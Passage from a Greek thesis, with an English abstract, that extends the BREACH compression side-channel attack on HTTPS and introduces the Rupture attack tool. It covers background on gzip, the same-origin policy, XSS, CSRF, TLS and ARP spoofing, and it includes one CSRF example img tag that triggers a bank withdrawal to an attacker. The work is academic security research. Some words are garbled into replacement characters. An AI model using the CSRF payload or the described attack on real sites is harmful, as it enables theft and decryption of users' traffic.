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Περίληψη

Ηασφάλεια είναι ένα από τα βασικά χαρακτηριστικά κάθε υπολογιστικού συστήματος,
καθως εξασφαλίζει την εμπιστευτικότητα, την ακεραιότητα και τη διαθεσιμότητα της
πληροφορίας. Ηπαρούσα εργασία ερευνά επιθέσεις πάνωσε συμπιεσμένα κρυπτογρα-
φημένα πρωτόκολλα και συγκεκριμένα αναπτυσει περαιτερω την επίθεση BREACH.

Προτινονται στατιστικές μέθοδοι που επιτρεπουν να πραγματοποιηθεί η επίθεση σε
πραγματικες ιστοσελίδες που χρησιμοποιουνσυγχρονες κρυπτογραφικες τεχνικες. Επι-
πλεον, αναπτυχθηκαν τεχικές βελτιστοποίησης της επίθεσης που συντομεύουν την
επιθέση εως και 500 φορές σε θεωρητικό επίπεδο.

Δημηιουργησαμε ενα εργαλειο, το Rupture, που εφαρμόζει τις στατιστικες μας μεθο-
δους και τις τεχνικες βελτιστοποιησης. Το Rupture ειναι γραμμενο σε κωδικα επιπέδου
παραγωγής ελευθερου λογισμικού και αυτοματοποιει την επιθεση. Το RESTful API που
εκθετει σε συνδυασμό με το Web User Interface το καθιστουν ενα ευχρηστο εργαλείο
που επιτρεπει στους επιτιθεμενους να πραγματοποιουν μαζικές επιθεσεις.

Η δημιουργια αυτου του εργαλειου δε στοχευει σε καμια περιπτωση σε κακοβουλη
χρήση. Αντιθετα, επιδιώκει να ευαισθητοποιησει την κοινοτητα για τις επιθεσεις σε
συμπιεσμενα κρυπτογραφημενα πρωτοκολλα. Αυτες οι επιθέσεις ειναι αρκετα εκλε-
πτυσμένες, με αποτελεσμα να θεωρειται αμφιβολο το αν μπορουν να πραγματοποιη-
θουν σε πραγματικες επιθεσεις.

Ανανεωμένες εκδόσεις της παρούσας εργασίας μπορούν να βρεθούν στον ακόλουθο
σύνδεσμο: https://github.com/esarafianou/rupture-thesis. Το εργαλείοRupture βρί-
σκεται στο σύνδεσμο:https://github.com/dionyziz/rupture.
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Abstract

Security is a fundamental aspect of every computer system. as it reassures confiden-
tiallity, integrity and availability of the data. This work investigates attacks on com-
pressed encrypted protocols, and develops further the BREACH attack.

New statistical methods are being proposed, which allow the attack to perform in re-
allife websites which use the latest cryptographic techniques. New optimizations of
the attack were also developed, which speed up the attack up to 500 times in the the-
oretical model.

We implemented a framework,Rupture, which applies our statistical methods and op-
timization techniques. Rupture is open-source, production level and automates the
attack. The RESTful API it exposes in combination with the Web User Interface make
it an easy-to-use tool which allows the attackers to perform attacks in the wild.

The implementation of this framework focuses by no means in malicious purposes.
On the contrary, it aims to sensitize the community aboot compression side-channel
attacks. Such attacks are quite sophisticated and the community doubts whether the
could be reallife attacks

Updated versions on the current work can be found on the following link: https://
github.com/esarafianou/rupture-thesis. Rupture repository is: https://github.com/
dionyziz/rupture
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Chapter 1

Εισαγωγή

1.1 Εισαγωγή

Τα τελευταία χρόνιαπαρατηρείται μια αύξηση του ενδιαφέροντος της κοινωνίας σχετικά
με τα θέματα της ασφάλειας και της ιδιωτικότητας της πληροφορίας στο Διαδίκτυο. Οι
αποκαλύψεις του Snowden, η διαρροή προσωπικών στοιχείων και κωδικών χρηστών
μεγάλων εταιρειών, όπως yahooκαι dropboxάλλαξαν τον τρόπομε τον οποίο αντιλαμβανόμαστε
τη χρήση online υπηρεσιών. Οι ερευνητές και χρήστες στραφηκαν στην αναζήτηση
λύσεωνώστε οι επικοινωνίες να γίνουνπιο ασφαλείς απέναντι σε κάθε είδους αντιπάλους.

Στην παρούσα εργασία στοχεύουμε να αναδείξουμε αδυναμίες στα πρωτόκολλα που
χρησιμοποιούνται στο διαδίκτυοκαι μεσωτης δημοσιευσής της να ευαισθητοποιήσουμε
την κοινότητα ώστε να αντιμετωπιστούν αποτελεσματικά αυτές οι ευπάθειες.

Η ερευνά μας επικεντρώνεται σε επιθέσεις ενάντια σε πρωτόκολλά συμπίεσης που
εφαρμόζονται στα δεδομέναπριν τηνκρυπτογραφησηκαι μεταφορά τους. Συγκεκριμένα,
επεκτέινουμε υπάρχοντα μοντέλα επίθεσης, όπως το BREACH και δημιουργούμε ενα
εργαλείο που πραγματοποιεί με αυτοματοποιημένο τρόπο τέτοιες επιθέσεις.

Το λογισμικόσυμπίεσης στο οποίο επικεντρωθήκαμε ειναι το gzip, που χρησιμοποιείται
ευρέως στο Διαδίκτυο. Το gzip εφαρμόζει τον αλγόριθμο DREFLATE, που αποτελεί τον
συνδυασμό τωνάλγορίθμωνσυμπίεσηςHuffmanκαι LZ77.Η επίθεσηπου επεκτείνουμε
εκμεταλλεύεται τον τρόπο με τον οποίο συμπιέζει κείμενα το LZ77 ενώ αντίθετα ο
αλγόριθμος Huffman δυσκολεύει την επίθεση.

Τοπιο διαδεδομενοπρωτόκολλομεταφοράς δεδομένωνστοΔιαδίκτυο είναι τοHTTP(Hyper-
Text-Transfer Protocol). Τα δεδομέναπουμεταφέρονται μέσωHTTTPδεν είναι κρυπτογραφημένα,
με αποτελεσμαοποιοσδήποτε επιτειθέμενος ελέγχει το δίκτυομας, ναμπορει να διαβάσει
και νααλλοιώσει τα δεδομεναπουμεταφέρονται. Η εξέλιση τουHTTP, τοHTTPSκαλύπτει
αυτό το κενό στην ασφάλεια με την εισαγωγή ενός ακόμα επιπέδου δικτύου πριν το
επίπεδο εφαρμογής που αρχικά ήταν το SSL (Secure Socket Layer) και στη συνέχεια
το TLS (Transport Layer Security). Το επίπεδο αυτό επιβάλλει την κρυπτογράφηση
των δεδομένων πριν απο τη μεταφορά του και εγγυάται έτσι την εμπιστευτικότητα,
ακεραιότητα και διαθεσιμότητα των δεδομένων.

Οι αλγόριθμοι κρυτπογράφησης που χρησιμοποιούνται σ’ αυτό το επίπεδο μπορουν
να χωριστούν σε δύο μεγάλες κατηγορίες: αλγόριθμοι ροής και αλγόριθμοι δέσμης.
Στην πρώτη περίπτωση, τα δεδομένα κρυπτογραφούνται ως μια συνεχής ροή, ενώ
στη δεύτερη περίπτωση χωρίζονται σε δέσμες ίσου μεγέθους και κρυπτογραφείται
κάθε δέσμη χωριστά. Σε περίπτωση που τα δεδομένα δεν κατανέμονται με ακρίβεια
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σε δέσμες, εισάγεται τεχνητός θόρυβος ώστε να επιτευχθεί το επιθυμητό μέγεθος και
να ευθυγραμμιστεί η κάθε δέσμη.

Ο κυριότερος αλγόριθμος ροής ειναι ο RC4, ο οποίος όμως δεν χρησιμοποιείται πλέον
γιατι εχουν βρεθει σημαντικες ευπάθειες του που τον καθιστούν ανασφαλή. Ο πιο
διαδεδομένος αλγόριθμος δέσμης ειναι ο AES, που με διάφορες παραλλαγές είναι ο πιο
ευρεώς χρησιμοποιούμενος αλγόριθμος κρυπτογράφησης. Αν και οι αλγόριθμοι ροης
καθιστούν την επίθεση που περιγραφουμε αρκετά εύκολη, με την παρούσα εργασία
καταδεικνύουμε οτι οι αλγόριθμοι δέσμης όπως ο AES δε μας προστατεύουν απόλυτα
από τέτοιες επιθέσεις.

Προκειμένουναπετύυχουμε την επίθεσηστοναλγόριθμοAES χρησιμοποιήσαμε στατιστικές
μεθόδους και τεχνητό θόρυβο για να ξεπερασουμε τις δυυσκολιες που εισαγονται απο
τη χρήση δεσμών. Ταυτόχρονα εισήγαγαμε τεχνικές που βελτιστοποιούν την απόδοση
της επίθεσης και μας επιτρεπουν να την πραγματοποιούμε σε πραγματικό χρόνο.

Αναπτύξαμε ανοιχτο λογισμικό σε κώδικα επιπέδου παραγωγής που εφαρμόζει τις
στατιστκες μεθόδους και τεχνικες βελτιστοποίσης μας. Το λογισμικό είναι ενα service-
based σύστημα αρχιτεκτονικης που αυτοματοποιεί την επίθεση καθως απαιτει μικρη
διαμόρφωση πριν απο την επίθεση. Δίνει τη δυνατότητα για πολλαπλές επιθέσεις την
ίδια στιγμήσε διαφορετικά θύματακαι ιστοσελίδες.Με το λογισμικοαυτό, πραγματοποιήησαμε
επιθεσεις σε εργαστηριακες ιστοσελίδες.

Οσον αφορά τις στατιστικές μεθόδους, η χρήση πιθανοτητων στην επιθεση μας την
καθιστάμηντιτερμινιστική.Προκειμένου λοιπόννα έχουμεακρίβεια στααποτελέσματα
μας, έχουμε εισάγει μια μετρικήπου εκφραζει τηναυτοπεποιθησήμας για τααποτελεσματα
πουπαραγονται απο τις στατιστικές μας μεθόδους.Μονοαναυτή ειναι αρκέτη, θεωρούνται
εγκυρα τα δεδόμένα μας. Σε διαφορετική περίπτωση, απορρίπτονται.

Εν κατακλείδι, η παρούσα εργασία αποτελεί τη συνέχεια μια ομάδας ερευνών που
παρουσιά-στηκαν τα τελευταία χρόνια καιφανέρωσανβασικές αδυναμίες στασυστήματα
που χρησιμοποιούμε κατάκόρον. Είναι σημαντικό να επεκταθεί με νέες τεχνικές βελτιστο-
ποίησης της επίθεσης και, κυρίως, νέες μεθόδους αντιμετώπισής της.

1.2 Δομή της εργασίας

Η εργασία έχει δομηθεί ως εξής:

Κεφάλαιο 2

Τοκεφάλαιο αυτόπαρέχει στοναναγνώστηβασικές πληροφορίες, τόσοσε τεχνικό
όσο και σε θεωρητικό επίπεδο, οι οποίες θα χρησιμοποιηθούν στη συνέχεια. Θα
περιγράψουμε τους πιο διαδεδομένους αλγόριθμους συμπίεσης, καθώςκαι βασικά
πρωτοκόλλα που χρησιμοποιούνται για την ασφάλεια στις επικοινωνίες, καθώς
και επιθέσεις εναντίων τους.

Κεφάλαιο 3

Το κεφάλαιο αυτό εισαγει στατιστικές μεθόδους για να παρακαμφθουν εμπόδια
και να γίνει δυνατή η επίθεση σε αλγόριθμους δέσμης. Προτίνονται ακόμα μέθδοι
βελτιστοποίησης που αυξάνουν την ταχύτητα και απόδοση της επίθεσης.
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Κεφάλαιο 4

Σ’ αυτο τοκεφάλαιοπεριγραφουμε το εργαλειο πουδημιουργήσαμε για επιιθέσεις
σε συμπιεσμένα κρυπτογραφημένα πρωτόκολλα. Συγκεκριμένα, επισημαίνουμε
τις προυποθέσεις κατωαπ τις οποίες πραγματοποιείται μια τετοια επίθεση, αναλυουμε
την ορολογία που χρησιμοποιείται στο εργαλειο και περιγραφουμε διεξοδικα τα
διαφορα μέρη του και τις λειτουργίες που αυτά επιτελούν.

Κεφάλαιο 5

Το κεφαλαιο αυτό περιγραφει πως επεκτείναμε το εργαλειο μας ωστε να γίνει
πιο λειτουργικο και ευχρηστο. Περιγραφει το RESTful API που δημιουργήσαμε
και τις κλησεις που γινονται σ’αυτο καθώς και τη λειτουργοκότητα της διεπαφής
χρήστη (Usser Interface).

Κεφάλαιο 6

Ο κώδικας υλοποίησης της επίθεσης.
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Chapter 2

Theoretical background

Σε αυτό το κεφάλαιο παρέχουμε το απαραίτητο υπόβαθρο στον αναγνώστη ώστε να
καταλάβει τους μηχανισμούςπου χρησιμοποιούνται αργότεραστην εργασία.Ηπεριγραφη
του κάθε συστήματος ειναι μια μικρη εισαγωγη για να εξοικειώσει τον αναγνώση με
τις απαραίτητες εννοιες.

Συγκεκριμενα, η ενότητα 2.1 περιγραφει τη λειτουργία του λογισμικού συμπίεσης gzip
και τους αλγόριθμους που αυτός χρησιμοποιεί. Η ενότητα 2.2 καλύπτει το same-origin
policy που εφαρμόζεται στο μοντέλο ασφαλέίας των εφαρμογών. Στην ενότητα 2.3
εξηγούμε το Transport Layer Security, που ειναι το πρωτόκολλο που χρησιμοποιείται
ευρέως και προσφέρει ασφάλεια στην επικοινωνία μέσω Διαδικτύου. Τέλος, η ενότητα
2.4 περιγραφει μεθοδολογίες επίθεσης οπωςARP spoofing, προκεμένου ένας επιτιθέμενος
να κανει Μan-in-the-Middle επιθέσεις.

2.1 gzip

gzip είναι μια μορφή αρχείου και μια εφαρμογή λογισμικού που χρησιμοποιείται για
τη συμπίεση αρχείων και αποσυμπίεσης. Ειναι η πιο δημοφιλης μεθοδος συμπίεσης στο
Διαδίκτυο και εχει υιοθετηθεί σε πρωτόκολλα όπως το HTTP και το XMPP. 1

Το gzip βασίζεται στον DEFLATE αλγόριθμο, ο οποίος είναι ένας συνδυασμός LZ77
και κωδικοποίηση Huffman . O DEFLATE αλγόριθμος παρουσιαζεται εν συντομία στο
παρακάτω σχήμα:

DEFLATE(m) = Huffman(LZ77(m))

Στις παρακάτωενότητες περγραφουμεσύντομα τη λειτουργία αυτων τωνδύοαλγορίθμων

2.1.1 LZ77

LZ77 είναι ενας αλγορίθμος συμπίεσης δεδομένων χωρίς απώλειες που δημοσιεύθηκε
από τον Abraham Lempel και Jacob Ziv το 1977 [5]. Πετυχαίνει τη συμπίεσης μεσω
αντικαταστασης επαναλαμβανόμενων εμφανίσεων δεδομένων με αναφορες σε ενα
μοναδικό αντίγραφο των δεδομένων που εμφανίστηκε νωρίτερα στη μη συμπιεσμένη
ροή δεδομένων. Ενα ταιριασμα κωδικοποιέιται με ενα ζεύγος αριθμών που ονομάζεται
ζεύγος μήκους-απόστασης, με τοπρώτονααναπαριστά τομήκος του επαναλαμβανόμενου

1 https://en.wikipedia.org/wiki/Gzip
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μέρος και το δευτερο να περιγράφει την απόστασή προς τα πίσωστη ροη. Προκειμένου
να εντοπίσει επαναλήψεις, το πρωτόκολλα πρεπει να παρακολουθεί μια ποσότητα απο
τα τελευταία δεδομένα, και συγκεκριμένα 32 kilobytes. Αυτά τα δεδομέναφυλλάσονται
σε ενασυρόμενοπαραθυρο. Ετσι, προκειμένουνασυμπιεστει εναμέρος τωνδεδομένων,
η αρχική εμφάνιση του πρεπει να ειναι το πολύ 32Kb πίσω στη ροη δεδομένων. Επίσης,
το ελάχιστο μήκος του κειμένου που μπορεί να συμπιεστεί ειναι 3 χαρακτήρες και το
συμπιεσμένο κέιμενο μπορεί να αναφέρεται τόσο σε γράμματα όσο και δείκτες.

Παρακάτω φαίνεται ενα βήμα προς βήμα παραδειγμα εκτέλεσης του αλγόριθμου για
ενα επιλεγμένο κείμενο

Figure 2.1: Βήμα 1: Κείμενο προς συμπίεση

Figure 2.2: Βήμα 2: Η συμπίεσης ξεκινα με αναπαράσταση κειμένου

Figure 2.3: Βήμα 3: Χρησιμοποίησε ενα δείκτη σε απόσταση 31 και μήκος 25

Figure 2.4: Βήμα 4: Συνεχίζει με κείμενο
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Figure 2.5: Βήμα 5: Χρησιμοποίησε δείκτη που δείχνει σε δείκτη

Figure 2.6: Βήμα 6: Χρησιμοποίησε δείκτη που δείχνει σε δείκτη που με τη σειρά του
δειχνει σε δείκτη

2.1.2 Huffman coding

Huffman κωδικοποίησης είναι επίσης ένα αλγόριθμος συμπίεσης δεδομένων χωρίς
απώλειες που αναπτύχθηκε από τον David Α Huffman και δημοσιεύθηκε το 1952 [3].
Ότανσυμπίεζεται ένακείμενομε αυτό τοναλγόριθμο, ένας πίνακας μεταβλητων-μήκους
δημιουργείται για νααντιστοιχίσει αρχικάσύμβολαπρος bit ροης. Κάθεαρχικόσύμβολο
μπορεί νααναπαρασταθεί με λιγότεραήπερισσότεραbits σε σύγκρισημε τηνασυμπίεστη
ροη, έτσι ώστε ο πίνακας χαρτογράφησης χρησιμοποιείται για τη μετάφορα απο τα
αρχικά σύμβολα σε bits ροης κατά τη διάρκεια της συμπίεσης και αντιστρόφως κατά
τη διάρκεια αποσυμπίεσης. Ο πίνακας χαρτογράφησης μπορεί να αναπαρασταθεί ως
ένα δυαδικό δένδρο κόμβων, όπου κάθε κόμβος φύλλο αντιπροσωπεύει ένα αρχικα
σύμβολο, το οποίο μπορεί να προσεγγιστεί από τη ρίζα του δέντρου ακολουθώντας
το αριστερό μονοπάτι για 0 και το σωστό δρόμο για 1. Κάθε σύμβολο πηγή μπορεί
να εκπροσωπείται μόνο από κόμβους, ως εκ τούτου, ο κωδικός είναι χωρις πρόθεμα,
δηλαδή καμια ροή απο bits που αντιπροσωπεύει ένα αρχικό σύμβολο μπορεί να είναι
το πρόθεμαοποιουδήποτε άλλουρεύματος δυαδικώνψηφίωνπουαντιπροσωπεύει ένα
διαφορετικό αρχικό πηγής. Η τελικη αντιστοίχηση των αρχικών συμβόλων σε ροη bits
υπολογίζεται με την εύρεση της συχνότητας εμφάνισης για κάθε σύμβολο του απλού
κειμένου. Με αυτόν τον τρόπο, τα πιο συχνα σύμβολα κωδικοποιούνται σε μικρότερες
ροές απο bits, με αποτέλεσμα τη συμπίεση του αρχικό κείμενο. Τέλος, η ανιστοιχιση
λογω συμπίεσης πρέπει να συμπεριληφθεί στο τελικό συμπιεσμένο κείμενο έτσι ώστε
να μπορεί να χρησιμοποιηθεί κατά τη διάρκεια της αποσυμπίεσης.

Παρακατωειναι εναπαραδειγμααπλούκειμένουκαι ενος δεντρουHuffmanπουμπορεί
να χρησιμοποιηθεί για συμπίεση

Would a helium balloon float on the moon?
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Ανάλυση Συχνότητας

o: 7 l: 5 a: 3 n: 3
u: 2 h: 2 e: 2 m: 2
t: 2 w: 1 d: 1 i: 1
b: 1 f: 1 : :

Δέντρο Huffman

o: 00 l: 01 a: 1000 n: 1001
u: 1010 h: 1011 e: 11000 m: 11001
t: 11010 w: 11011 d: 11100 i: 1111000
b: 1111001 f: 1111010

Αρχικό μέγεθος κειμένου: 264 bits
Μέγεθος συμπιεσμένου κειμένου: 133 bits

2.2 Same-origin policy

Ηπολιτική ίδιας προέλευσης(Same-origin policy) είναι μια σημαντικήπτυχή τουμοντέλου
ασφάλειας των εφαρμογών web. Στο πλαίσιο της πολιτικής αυτής, ένας web browser
επιτρέπει scripts που περιέχονται σε μια πρώτη ιστοσελίδα να εχουν πρόσβαση σε
δεδομένα σε μια δεύτερη ιστοσελίδα, αλλά μόνο εάν και οι δύο ιστοσελίδες έχουν
την ίδια προέλευση. Προέλευση ορίζεται ως ένας συνδυασμός του σχήματος Uniform
Resource Identifier 2, όνοματος και αριθμού πόρτας Αυτή η πολιτική αποτρέπει μια
κακόβουλη ενεργεια σε μια σελίδαστο νααπόκτησει πρόσβασησε ευαίσθητα δεδομένα
άλλης ιστοσελίδας μέσω του Document Object Model 3.

O παρακάτω πίνακας εξηγει την πολιτική ίδιας προέλευσης. Υποθέτουμε οτι θέλουμε
πρόσβαση απο τη σελίδα http://www.test.com/dir/test.html σταURLs που συγκρινουμε
παρακάτω.

Compared URL Result Reason
http://www.test.com/dir/page.html Επιτυχία Ιδιο πρωτόκολλο/όνομα
http://www.test.com/dir2/other.html Επιτυχία Ιδιο πρωτόκολλο/όνομα
http://www.test.com:81/dir2/other.html Αποτυχία Ιδιο πρωτόκολλο/ονομα, διαφορετικη πόρτα
https://www.test.com/dir2/other.html Αποτυχία Διαφορετικό πρωτόκολλο
http://www.en.test.com/dir2/other.html Αποτυχία Διαφορετικό όνομα

Αυτός ομηχανισμός είναι σημαντικος για τις σύγχρονες εφαρμογέςWebπου εξαρτώνται
από τα cookies HTTP για να διατηρήσουν έλεγχο ταυτότητας στις συνεδρίες χρήστη.
Η έλλειψη της ίδιας πολιτικής προέλευσης θα είχε ως αποτέλεσμα τον συμβιβασμό του
απορρήτου των δεδομένων ή την ακεραιότητα. Παρά τη χρήση της πολιτικής ίδιας
προέλευσης απόσύγχροναπρογράμματαπεριήγησης, εξακολουθούνναυπάρχουν επιθέσεις
που επιτρέπουν έναν αντίπαλο για να την παρακάμψει και να θέσει σε κίνδυνο την
επικοινωνία του χρήστη με μία ιστοσελίδα. Δύο κύριοι τύποι τέτοιων επιθέσεων, cross-
site scripting (XSS) και cross-site αίτημα πλαστογραφίας (CSRF) περιγράφονται στις
παρακάτω υποενότητες.

2 https://en.wikipedia.org/wiki/Uniform_resource_identifier
3 https://en.wikipedia.org/wiki/Document_Object_Model
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2.2.1 Cross-site scripting

Cross-Site Scripting (XSS) επιθέσεις είναι ένα είδος ένεσης, στο οποία κακόβουλασενάρια
εγχέονται σε διαφορετικάκαλοήθεις και αξιόπιστες ιστοσελίδες. XSS επιθέσεις συμβαίνουν
όταν ένας εισβολέας χρησιμοποιεί μια διαδικτυακή εφαρμογήγια τηναποστολήκακόβουλου
κώδικα, συνήθωςμε τημορφή scipt σε επίπεδοπρογράμματοςπεριήγησης, σε διαφορετικό
τελικό χρήστη. Ετσι, η πολιτική ίδιας προέλευσης μπορεί ναπαρακαμφθεί και ο χειρισμός
των ευαίσθητων δεδομένων από τη ευάλωτη ιστοσελίδα να τεθεί σε κίνδυνο.

Οι επιθέσεις XSS μπορουν να χωριστούν σε δυο κατηγορίες: Α������������ and Α����������.

Α������������ �������� XSS είναι εκείνες όπου το script που εκχεεται είναι μόνιμααποθηκευμένο
σε διακομιστές-στόχους , όπως σε μια βάση δεδομένων, σε ένα μηνυμα ενος φόρουμ.
Το θύμα στη συνέχεια ανακτά το κακόβουλο script από τον εξυπηρετητή όταν ζητά τις
αποθηκευμένες πληροφορίες.

�������������� ��������� XSS είναι εκείνες όπου το script που εκχεεται αντανακλάται από τον
web server, όπως σε έναμήνυμα λάθους, αποτέλεσμααναζήτησης, ή οποιαδήποτε άλλη
απάντηση που περιλαμβάνει μερικά ή όλα από τα στοιχεία εισόδου που αποστέλλονται
στο διακομιστή ως μέρος της αίτησης.

Για περισσοτερες πληροφορίες για το XSS [6].

2.2.2 Cross-site request forgery

Cross-Site Request Πλαστογραφία (CSRF) είναι μια επίθεση που αναγκάζει έναν τελικό
χρήστη να εκτελέσει ανεπιθύμητες ενέργειες σε μια εφαρμογή web στην οποία εχει
πιστοποιηθεί. Οι επιθέσεις CSRF στοχεύουν σε αιτήματα αλλαγής κατάστασης, όχι την
κλοπή των δεδομένων, δεδομένου ότι ο εισβολέας δεν έχει τρόπο να δεί την απάντηση
στοπλαστόαίτημα. Ένας εισβολέας μπορεί να ξεγελάσει τους χρήστες της διαδικτυακής
εφαρμογής ωστε να εκτελέσουν ενέργειες που επιλέγει ο εισβολέας. Αν το θύμα είναι
ένας κανονικός χρήστης, μια επιτυχημένη επίθεσηCSRFμπορεί νααναγκάσει τον χρήστη
να εκτελέσει αιτήματα αλλαγής κατάστασης όπως η μεταφορά κεφαλαίων, αλλαγή της
διεύθυνσης ηλεκτρονικού ταχυδρομείου τους, και ούτω καθεξής. Αν το θύμα είναι μια
διοικητική λογαριασμό, μια επίθεση CSRF μπορεί να θέσει σε κίνδυνο ολόκληρη την
εφαρμογή web.

Για παραδειγμα, οταν η Alice επισκεπτεται μια ιστοσελίδα που περιέχει μια ετικέτα
HTML εικόνας <img src=”http://bank.example.com/withdraw?account=Alice&amount=
1000000&for=Mallory”>, που εχει εισάγει η Mallory, θα κανει ενα ερώτημα απο τον
περιηγτη ιστού της Alice στην ιστοσελίδα της τραπεζα της που να ζητα να μεταφερθει
το ποσό των 1.000.000 απο το λογαριασμό της Alice στο λογαριασμό της Mallory. Αν
η Alice είναι συνδεδεμένη στην ιστοσελίδα της τραπεζάς της, ο εξυπηρετητης ιστού
θα περιέχει τα cookies αυθεντικοποίησης της Alice, κανοντας ετσι εγκυρο το αίτημα
για μεταφορά. Αν η ιστοσελίδα δεν εχει σχετικούς ελεγχους η μη εξουσιοδοτημένη
μεταφορά χρημάτων θα ολοκληρωθει. Αυτο το είδος επιθεσης ειναι πολύ σύνηθες σε
φορουμς στο Διαδίτυο, οπου η χρηστες μπορουν να δημοσιεύουν φωτογραφίες.
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2.3 Transport Layer Security

ToTransport Layer Security (TLS) είναι έναπρωτόκολλοκρυπτογράφησηςπουπαρέχει
ασφάλεια στις επικοινωνίες ένος δίκτυουυπολογιστών, επιτρέποντας σε έναν εξυπηρετητή
και ένανπελάτη να επικοινωνήσει με έναν τρόποπουαποτρέπει υποκλοπές, παραποίηση
ή πλαστογραφία του μήνυματος.

Σύμφωναμε τις προδιαγραφές τουπρωτοκόλλου, το TLSαποτελείται απόδύοστρώματα:
η TLS Record πρωτόκολλο και το πρωτόκολλο χειραψίας TLS. Το Record πρωτόκολλο
παρέχει ασφάλεια σύνδεσης, ενώ το πρωτόκολλο χειραψίας επιτρέπει στο διακομιστή
και τονπελάτη νααυθεντικοποιήσουνο ενας τοναλλοκαι να διαπραγματευτούναλγόριθμους
κρυπτογράφησηςκαι κρυπτογραφικάκλειδιά πριν απόοποιαδήποτε ανταλλαγήδεδομένων.

ΜίακατηγορίαTLS επίθεσης είναι επιθέσεις συμπίεσης [8]. Τέτοιες επιθέσεις εκμεταλλεύονται
τη συμπίεσηστοTLS επίπεδο, προκειμένουνααποκρυπτογραφήσουν τοκρυπτοκείμενο.
Σε αυτό το έργο, έχουμε επεκτείνει τη χρηστικότητακαι τη βελτιστοποίηση της απόδοσης
μιας τέτοιας επίθεσης, του BREACH4

2.3.1 TLS handshake

Figure 2.7: TLS handshake flow

Το παραπάνω διάγραμμα ακολουθίας παρουσιάζει τη λειτουργικότητα μιας χειραψίας
TLS. Οπελάτης και και ο διακομιστής ανταλλασουνβασικές παραμέτρους της σύνδεσης,
όπως την υψηλότερη εκδοχή του πρωτοκόλλου TLS, έναν τυχαίος αριθμός, μια λίστα
με τους προτεινόμενους αλγόριθμους κρυπτογράφησης και προτεινόμενες μεθόδους
συμπίεσης. Ο διακομιστής παρέχει στον πελάτη με όλες τις απαραίτητες πληροφορίες
προκειμένου να επικυρωθεί και να χρησιμοποιει ασύμμετρο κλειδι του εξυπηρετητή,
με σκοπό να υπολογίζει το συμμετρικό κλειδί που θα χρησιμοποιηθεί για το υπόλοιπο
της επικοινωνίας. Οπελάτης υπολογίζει τηνPreMasterSecret και το στέλνει στον διακομιστή

4 http://breachattack.com
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το οποίο στησυνέχεια χρησιμοποιείται από τα δύομέρηγια ναυπολογιστεί το συμμετρικό
κλειδί. Τέλος, οι δύοπλευρές ανταλλάσσουνκαι να επικυρώνουνhashes καιMACκωδικούς
για όλα τα προηγούμενα μηνύματα, όπότε πλέον την ικανότητα να επικοινωνούν με
ασφάλεια.

Αυτό αφορά μόνο στη βασική χειραψία TLS.

2.3.2 TLS record

Figure 2.8: TLS record

Η παραπανω εικόνα δέιχνει η γενική μορφή των TLS records.

Το πρώτο πεδίο ορίζει το τυπο του Record Layer Protocol τουrecord, που μπορεί να
ειναι ενα απο τα παρακάτω:

Hex Type
0x14 ChangeCipherSpec
0x15 Alert
0x16 Handshake
0x17 Application
0x18 Heartbeat

Το δευτερο πεδίο ορίζει την εκδοση του TLS για το μήνυμα εγγραφής,απο major και
minor αριθμους

Major Minor Version
3 0 SSL 3.0
3 1 TLS 1.0
3 2 TLS 1.1
3 3 TLS 1.2

Τοσυνολικόμήκος τουωφέλιμουφορτίου τουρεκόρ, τοMACκαι το padding υπολογίζοντα
εται με τον ακόλουθο τρόπο 256 ∗ (bits15..8) + (bits7..0).
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Τέλος, το ωφέλιμο φορτίο της εγγραφης, η οποία, ανάλογα με τον τύπο, μπορεί να είναι
κρυπτογραφημένη, το MAC, αν υπάρχει, και το padding, αν χρειαστεί, συνθέτουν το
υπόλοιπο της το ρεκόρ TLS.

2.4 Man-in-the-Middle

Μια man-in-the-middle επίθεση 5 είναι ένα είδος cyberattack όταν ένα κακόβουλος
χρήστης τον εισάγει εαυτό του/της σε μια συνομιλία μεταξύ των δύο μερών, υποδύεται
και τα δύομέρηκαι αποκτάπρόσβασηστις πληροφορίες πουοι δύοπλευρές προσπαθούσαν
να στείλουν στον άλλο. Μια man-in-the-middle επίθεση επιτρέπει σε εναν κακόβουλο
χρήστη να παρακολουθησει, να αποστολει και να λάβει δεδομένα που προορίζονταν
για κάποιον άλλο, ή δεν προορίζονταν για όλους Τα αναφερόμενα μέρη δε γνωρίζουν
τίποτα μέχρι να είναι πολύ αργά.

Figure 2.9:Man-in-the-Middle

Οι MITM επιθέσεις μπορούν να μετριαστούν χρησιμοποιώντας κρυπτογράφηση απο
άκρη σ’ άκρη, αμοιβαίο έλεγχο ταυτότητας ή PKI. Ωστόσο, ορισμένες από τις επιθέσεις
εξακολουθούν να είναι εφικτές από κακή ρύθμιση παραμέτρων στα τελικά σημεία.
Παρακάτω περιγράφουμε ένα τέτοιου είδους επιθέσεις, πλαστογράφηση ARP.

5 https://en.wikipedia.org/wiki/Man-in-the-middle_attack
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2.4.1 Πλαστογραφηση ARP

Πλαστογράφηση ARP είναι ένας τύπος επίθεσης στο οποίο ένας επιτιθέμενος στέλνει
τα ψευδεπίγραφα ARP (Resolution Protocol Address) μηνύματα σε ένα τοπικό δίκτυο.
Αυτό έχειως αποτέλεσμα τησύνδεση της διεύθυνσηςMACτου εισβολέαμε τη διεύθυνση
IP ενός νόμιμου υπολογιστή ή διακομιστή στο δίκτυο. Αυτό επιτρέπει στον εισβολέα να
αρχίσει να λαμβάνει όλα τα δεδομέναπουπροορίζονται για τησυγκεκριμένηδιεύθυνση
IP. Το ARP spoofing μπορεί επιτρέψει σε ένα κακόβουλο χρήστη να υποκλέψει, να
τροποποιήσει ή ακόμη και να σταματήσει τα δεδομένα που μεταφέρονται.

Η πλαστογραφηση ARP μπορεί επίσης να χρησιμοποιηθεί για νόμιμους λόγους, όταν
ένας προγραμματιστής πρέπει να κανει αποσφαλμάτωση στην κίνηση ΙP μεταξύ δύο
host. Ο προγραμματιστής μπορεί στη συνέχεια να ενεργήσει ως ενδιάμεσος μεταξύ
των δύο hostοικοδεσπότες.

Figure 2.10: Πλαστογραφηση ARP
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Chapter 3

Στατιστικές μέθοδοι και τεχνικές βελτιστοποίησης

Οι Gluck, Harris και Prado στη αρχική δημοσιέυση για το BREACH ερεύνησαν την
επίθεση σε αλγόριθμους ροής όπως το RC4. Πρότιναν ακόμα οτι οι αλγόριθμοι δέσμης
ειναι ευάλωτοι χωρίς όμως ναδώσουνπρακτικές λεπτομέριες για την επίθεση.Η χρήση
τουRC4ωστόσο έχει απαγορευτεί για τις διαπραγματεύσεις μεταξύ servers και clients[7]
λόγω άλλων σημαντικών ευπαθειών του RC4.

Τεχνικές ευθυγράμμησης των δεσμών έχουν ηδη διερευνηθει στη βιβλιογραφία[4] και
